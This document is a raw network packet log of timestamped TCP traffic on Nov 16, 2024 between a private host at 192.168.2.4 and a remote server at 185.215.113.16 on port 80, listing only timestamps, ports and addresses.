Nov 16, 2024 20:12:36.986614943 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.986718893 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.986763954 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.986826897 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.986877918 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.986905098 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.986917019 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.986954927 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.986987114 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.987020016 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.987026930 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.987051010 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.987073898 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.987278938 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.987325907 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.987328053 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.987364054 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.987396002 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.987437010 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.987561941 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.987593889 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.987610102 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.987628937 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.987665892 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.987699986 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.987704039 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.987745047 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.987931013 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.987963915 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.988003016 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.988012075 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.035366058 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.035425901 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.035432100 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.035464048 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.035511971 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.035515070 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.035550117 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.035608053 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.039499044 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.039555073 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.039583921 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.039607048 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.039619923 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.039654970 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.039694071 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.039730072 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.039758921 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.039771080 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.039870024 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.039902925 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.039936066 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.039943933 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.039973021 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.104789972 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.104867935 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.104906082 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.104914904 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.104959011 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.104995012 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.105027914 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.105056047 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.105062962 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.105066061 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.105104923 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.105115891 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.105142117 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.105151892 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.105190992 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.105215073 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.105245113 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.105281115 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.105313063 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.105324984 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.105350018 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.105359077 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.108711958 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.108746052 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.108781099 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.108831882 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.108860016 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.108947992 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.109002113 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.109051943 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.109052896 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.109086990 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.109122992 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.109137058 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.109603882 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.109637022 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.109659910 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.109695911 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.109747887 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.109781981 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.109814882 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.109824896 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.109841108 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.109849930 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.109883070 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.109909058 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.109915972 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.109950066 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.109960079 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.109987020 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.110054016 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.110086918 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.110136032 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.110169888 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.110202074 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.110236883 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.110239983 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.110263109 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.110436916 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.110470057 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.110502005 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.110505104 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.110551119 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.155544996 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.155586004 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.155781031 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.157095909 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.157143116 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.157176971 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.157217979 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.157222033 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.157232046 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.157262087 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.157737017 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.157805920 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.161727905 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.161762953 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.161796093 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.161838055 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.161844015 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.161878109 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.161889076 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.161912918 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.161951065 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.161978006 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.161984921 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.162030935 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.162390947 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.162420988 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.162467003 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.226998091 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.227054119 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.227104902 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.227179050 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.227191925 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.227247000 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.227247000 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.227282047 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.227344036 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.227349997 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.227382898 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.227416992 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.227451086 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.227478981 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.227483988 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.227490902 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.227520943 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.227534056 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.227560997 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.227569103 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.227607965 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.227655888 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.230453968 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.230505943 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.230535030 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.230556011 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.230566978 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.230578899 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.230602026 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.230695963 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.230726004 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.230739117 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.230758905 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.230766058 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.230794907 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.230830908 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.230873108 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.231204033 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.231242895 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.231255054 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.231290102 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.231340885 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.231374025 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.231383085 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.231411934 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.231417894 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.231461048 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.231507063 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.231542110 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.231575966 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.231607914 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.231642962 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.231652975 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.231676102 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.231859922 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.231914043 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.231947899 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.231991053 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.232078075 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.232111931 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.232153893 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.232201099 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.232271910 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.232305050 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.232309103 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.232351065 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.279520988 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.279572010 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.279611111 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.279619932 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.279623032 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.279658079 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.279665947 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.283855915 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.283894062 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.283910036 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.283911943 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.283942938 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.283993006 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.283996105 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.284029007 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.284063101 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.284070969 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.284096956 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.284106016 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.284132957 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.284193039 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.285149097 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.285248041 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.285295010 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.327531099 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.327564001 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.327598095 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.327619076 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.350675106 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.350727081 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.350729942 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.350764036 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.350797892 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.350804090 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.350831032 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.350864887 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.350900888 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.350910902 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.350955009 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.351094961 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.351129055 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.351174116 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.351178885 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.351212025 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.351247072 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.351286888 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.351483107 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.351516008 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.351536036 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.351551056 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.351589918 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.353744984 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.353885889 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.353914976 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.353948116 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.353961945 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.353982925 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.354012012 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.354015112 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.354053020 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.354065895 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.354072094 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.354118109 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.354123116 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.354157925 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.354191065 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.354212046 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.354491949 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.354532957 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.354537964 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.354569912 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.354680061 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.354713917 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.354715109 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.354748011 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.354763031 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.354794025 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.354841948 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.354964972 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.354999065 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.355046034 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.355048895 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.355081081 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.355113983 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.355129957 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.355148077 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.355197906 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.355463028 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.355511904 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.355546951 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.355554104 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.355578899 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.355612993 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.355658054 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.359205008 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.401365042 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.401396036 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.401433945 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.401448011 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.401500940 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.401535034 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.401566982 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.401575089 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.401599884 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.401602983 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.401633978 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.401675940 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.405574083 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.405623913 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.405658960 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.405704975 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.405708075 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.405747890 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.405755997 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.405788898 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.405822039 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.405828953 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.405853987 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.407721043 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.450217962 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.450272083 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.450304985 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.450336933 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.450355053 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.450371981 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.450376034 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:37.472592115 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.472601891 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.472635984 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:37.472642899 CET	49744	80	192.168.2.4	185.215.113.16
